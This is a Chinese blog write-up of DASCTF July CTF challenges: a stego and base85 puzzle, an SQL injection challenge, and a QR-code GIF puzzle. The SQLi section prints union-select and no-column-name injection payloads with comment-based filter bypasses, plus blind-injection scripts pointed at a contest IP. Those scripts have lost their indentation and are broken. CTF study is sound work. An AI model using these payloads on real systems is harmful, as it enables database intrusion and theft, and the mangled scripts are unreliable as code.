DASCTF七月赛复现

wp收集合集
https://shimo.im/docs/8wq3dxVJg6dY6r8w
0x01 签到题
基本就是去改色域
在图片红色通道看到
在这里插入图片描述

显示了密码
////1258//@#
在这里插入图片描述

Ao(mgHXo,o0fV’I2J"^%3&**H@q.MQ1,V%$1GCdB0P"X%0RW

base85编码
第一次见
在这里插入图片描述

flag{d9518636e448108cc90258c30800dbb0}
这里注意是直接提交flag里面的内容

0x02 SQLI
看标题名大概是SQL注入
在这里插入图片描述
先加入id
在这里插入图片描述
尝试一下直接引入用户名密码
在这里插入图片描述
禁止了蛮多的东西
这道题感觉真的蛮经典的,之前看过很多次的感觉就直接跳过去了,猜想思路,好像是用到了目录穿越,但是这次好像是被禁掉了,试一试

哦,这里大概是联合注入
方法1:
某个URL,但是没看懂

?id=0'/**/union/**/select/**/1,(select/**/a.2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)a/**/limit/**/1,1),3%23
flag{60325f20416b40b11b6049734bad11cf}

方法2:
直接写脚本解的一种,但是看不明白

import requests
string = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM} {
_~!.[] / \\+- * /<>()&$%^@#,'
url = "http://183.129.189.60:10004/"#
payload = "?id=1'<(length(database())={})%23"#
payload = "?id=1'<(ascii(substr(database(),{}))={})%23"
payload = "?id=1'<(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema=database()),{},1)) ={})%23"
def Number():
    for i in range(50):
    payloads = payload.format(i)# print i
print url + payloads
r = requests.post(url + payloads)
print r.text
if "root" in r.text:
    print "length:" + str(i)
break;
def Data(lens):
    data = ''
for i in range(1, lens + 1):
    for asc in range(len(string)):
    payloads = payload.format(i, ord(string[asc]))
print url + payloads
r = requests.post(url + payloads)
print r.text
if "root" in r.text:
    data += string[asc]
print "data:" + data
if __name__ == '__main__': #Number()
Data(100)
import requests
url = "http://183.129.189.60:10004/"
def add(flag):
    res = ''
res += flag
return res
flag = ''
for i in range(1, 200):
    for char in range(32, 127):
    hexchar = add(flag + chr(char))
payload = "?id=1'<((select/**/1,'FLAG{"+hexchar+"')>(select/**/*/**/from/**/flllaaaggg))%23"
urls = url + payload
r = requests.post(urls)
text = r.text
print urls
print text
if 'root' in r.text:
    flag += chr(char - 1)
print(flag)
break

方法3:


```php
id=1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23

一个布尔盲注,基本能理解都是慢慢的联合注入类型,但是这个/**/代替空格

**方法4:**
完整的解决思路
先查库名:

```php
http://183.129.189.60:10011/?id=0%27union/**/select/**/1,database(),3%23

sqlidb但是这道题的information_schema的方法被过滤掉了
sys.schema_tables_with_full_table_scans一个新库

http://183.129.189.60:10011/?id=0%27union/**/select/**/1,group_concat(object_name),3/**/from/**/sys.schema_tables_with_full_table_scans%23

查库下面的名字

?id=0'/**/union/**/select/**/1,(select/**/a.2/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flllaaaggg)a/**/limit/**/1,1),3%23
flag{60325f20416b40b11b6049734bad11cf}

最后的无列名注入
0x03 Qrjoker
一张gif,放进去看了一下,有64个部分,大概是在这里面找到正确的二维码,先放一个神仙的脚本

from PIL import Image
from Crypto.Util import number
import base64

dic = {0:'0',1:'1',2:'2',3:'3',4:'4',5:'5',6:'6',7:'7',8:'8',9:'9',10:'A',11:'B',12:'C',13:'D',14:'E',15:'F',38:'%'}
res = ''
for num in range(64):
    p = Image.open('frame'+str(num+1)+'.bmp')
    a,b = p.size
    # print(a)
    data = []
    for y in range(100,b-10,10):
        d = []
        for x in range(410,470,10):
            if (y//10)%2 == 0:
                if p.getpixel((x,y)) >= 200:
                    d.append('1')
                else:
                    d.append('0')
            else:
                if p.getpixel((x,y)) >= 200:
                    d.append('0')
                else:
                    d.append('1')
        data.append(d)
    mode = data[11][5]+data[11][4]+data[10][5]+data[10][4]
    # print(mode)
    length = data[9][5]+data[9][4]+data[8][5]+data[8][4]+data[7][5]+data[7][4]+data[6][5]+data[6][4]+data[5][5]
    # print(length)
    d1 = data[5][4]+data[4][5]+data[4][4]+data[3][5]+data[3][4]+data[2][5]+data[2][4]
    d2 = data[1][5]+data[1][4]+data[0][5]+data[0][4]+data[0][3]+data[0][2]+data[1][3]+data[1][2]
    d3 = data[2][3]+data[2][2]+data[3][3]+data[3][2]+data[4][3]+data[4][2]+data[5][3]+data[5][2]
    d4 = data[6][3]+data[6][2]+data[7][3]+data[7][2]+data[8][3]+data[8][2]+data[9][3]+data[9][2]
    d5 = data[10][3]+data[10][2]+data[11][3]+data[11][2]+data[11][1]+data[11][0]+data[10][1]+data[10][0]
    d6 = data[9][1]+data[9][0]+data[8][1]+data[8][0]+data[7][1]+data[7][0]+data[6][1]+data[6][0]+data[5][1]
    d = d1+d2+d3+d4+d5+d6
    fin = d[:33]
    for i in range(0,len(fin),11):
        y = int(fin[i:i+11],2)%45
        x = int(fin[i:i+11],2)//45
        res += dic[x] + dic[y]
b64_data = number.long_to_bytes(int(res.replace('%',''),16))
while 1:
    b64_data = base64.b64decode(b64_data)
    if b'flag' in b64_data:
        print(b64_data)
        break

用第二个方法一个个来
一个二维码拼接网站
https://merricx.github.io/qrazybox/
首先需要把前面的图片截取下来

from PIL import Image
import os
gifFileName = 'QrJoker.gif'
#使用Image模块的open()方法打开gif动态图像时,默认是第一帧
im = Image.open(gifFileName)
pngDir = gifFileName[:-4]
#创建存放每帧图片的文件夹
os.mkdir(pngDir)
try:
 while True:
  #保存当前帧图片
  current = im.tell()
  im.save(pngDir+'/'+str(current)+'.png')
  #获取下一帧图片
  im.seek(current+1)
except EOFError:
  pass

这个竟然直接运行成功了,脚本才是永远滴神
根据出来的图片大概是21*21的格子
在这里插入图片描述在这里插入图片描述

把图片绘制下来一张张强制读取,最后一起加起来出结果
真的佩服后面还base64解码了差不多三四次
码着当技巧

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值